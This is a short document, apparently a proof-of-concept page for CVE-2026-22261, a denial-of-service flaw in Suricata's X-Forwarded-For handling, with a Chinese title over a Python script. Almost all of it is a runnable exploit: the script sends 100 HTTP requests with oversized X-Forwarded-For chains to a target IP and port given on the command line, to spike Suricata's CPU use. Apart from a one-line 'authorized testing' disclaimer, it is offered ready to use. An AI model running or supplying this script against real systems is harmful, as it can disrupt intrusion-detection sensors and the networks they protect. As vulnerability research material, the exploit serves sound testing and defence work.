Suricata XFF处理效率问题导致拒绝服务 (CVE-2026-22261)

#!/usr/bin/env python3 """ CVE-2026-22261 PoC - Suricata XFF DoS This PoC demonstrates the performance issue in Suricata's XFF handling. Note: This is for educational and authorized testing purposes only. """ import socket import time import sys def send_malicious_http_request(target_ip, target_port, xff_value): """ Send HTTP request with crafted X-Forwarded-For header to trigger inefficient XFF processing in Suricata. """ # Craft HTTP request with multiple IP addresses in XFF header # This causes excessive string parsing operations in Suricata http_request = f"GET / HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += f"X-Forwarded-For: {xff_value}\r\n" http_request += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) sock.close() return True except Exception as e: print(f"Error: {e}") return False def generate_xff_chain(num_ips): """ Generate XFF header value with multiple IP addresses. More IPs = more processing time in vulnerable Suricata versions. """ ips = [f"10.0.{i}.{j}" for i in range(256) for j in range(num_ips // 256 + 1)][:num_ips] return ", ".join(ips) def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") print("Example: python3 poc.py 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) print(f"[*] CVE-2026-22261 PoC - Suricata XFF DoS") print(f"[*] Target: {target_ip}:{target_port}") # Generate XFF header with many IPs to stress test XFF parsing xff_value = generate_xff_chain(100) print(f"[*] Sending HTTP requests with XFF chain ({len(xff_value)} bytes)...") start_time = time.time() request_count = 0 # Send multiple requests to amplify the performance impact for i in range(100): if send_malicious_http_request(target_ip, target_port, xff_value): request_count += 1 if i % 10 == 0: print(f"[*] Sent {i} requests...") elapsed = time.time() - start_time print(f"[+] Completed: {request_count} requests in {elapsed:.2f} seconds") print("[*] Check Suricata CPU usage - it should be elevated if vulnerable") if __name__ == "__main__": main()